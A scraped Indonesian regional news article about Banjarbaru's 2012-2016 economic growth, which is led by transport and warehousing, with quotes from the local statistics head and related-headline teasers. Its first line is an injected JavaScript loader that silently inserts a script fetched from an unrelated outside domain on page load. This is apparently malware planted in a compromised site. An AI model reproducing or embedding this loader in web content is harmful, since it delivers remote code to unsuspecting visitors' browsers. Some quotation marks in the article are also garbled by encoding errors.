(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sektor transportasi dan pergudangan menjadi penyumbang terbesar pertumbuhan ekonomi di kota Banjarbaru. Data dari Badan Pusat Statistik (BPS) Kota Banjarbaru menyebut dalam 5 tahun terakhir (2012-2016), BPS Kota Banjarbaru mencatat distribusi produk domestic regional bruto (PDRB) di sektor transportasi dan pergudangan untuk pertumbuhan ekonomi Kota Banjarbaru, rata-rata 21,37% setiap tahunnya.
Dalam rentang 2012-2016 pertumbuhan ekonomi kota Banjarbaru terus mengalami kenaikan rata-rata 0,16 persen dengan angka pertumbuhan di tahun 2016 sebesar 6,95%. Pertumbuhan ekonomi kota Banjarbaru di tahun 2012 berada pada angka 6,54%, 2013 (6,59%), 2014 (6,63%), 2015 (6,86%) dan 2016 (6,95%).
Kepala BPS Kota Banjarbaru Arih D Prasetyo menjelaskan, tingginya distribusi yang diberikan sektor transportasi dan pergudangan terhadap pertumbuhan ekonomi di Banjarbaru terus mengalami peningkatan, baik adanya angkutan umum yang beroperasi, namun khususnya karena di Banjarbaru terdapat Bandara.
“Utamanya angkutan udara, angkutan udara lumayan tinggi dengan frekuensi penerbangan sudah bertambah setiap tahunnya,†katanya kepada Kanal Kalimantan, Kamis (22/2).
Arih menambahkan, sektor pergudangan juga memberikan peran untuk perekonomian Banjarbaru, pergudangan terus meningkat keberadaan ruko-ruko. “Nah ruko tersebut perlu barang-barang yang perlu masuk pergudangan,†katanya.
Dia menambahkan, pengadaan listrik dan gas merupakan penggunaan dan penyediaan energy. Penambahan penduduk ikut menambah kebutuhan energy, selama ini tidak dipasok sendiri oleh Kalsel. Pada tahun 2016 ada beberapa terkait pemadaman dan segala macam, sehingga ada penurunan produk di sektor pengadaan listrik. Ada sempat penurunan produk listrik akibat adanya kerusakan yang terjadi. “Intinya penurunan ini diakibatkan karena peningkatan produksi yang tidak terlalu banyak,†ujarnya.
Arih menyampaikan, semakin banyak yang menggunakan jasa maka semakin tinggi produksi yang dikeluarkan. “Kalau mau meningkatkan, kota bertumpu pada sektor tersier jasa, kota harusnya bertumpu pada kegiatan jasa seperti transportasi, penyediaan akomodasi, real estate dan sebagainya,†jelasnya.
Dia menambahkan, sektor-sektor yang berperan dalam usaha meningkatkan perekonomian di Kota Banjarbaru bisa dikaitkan dengan kebijakan pemerintah daerah. Pemerintah daerah bisa memprioritaskan di sector mana yang perlu ditingkatkan (abdullah)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.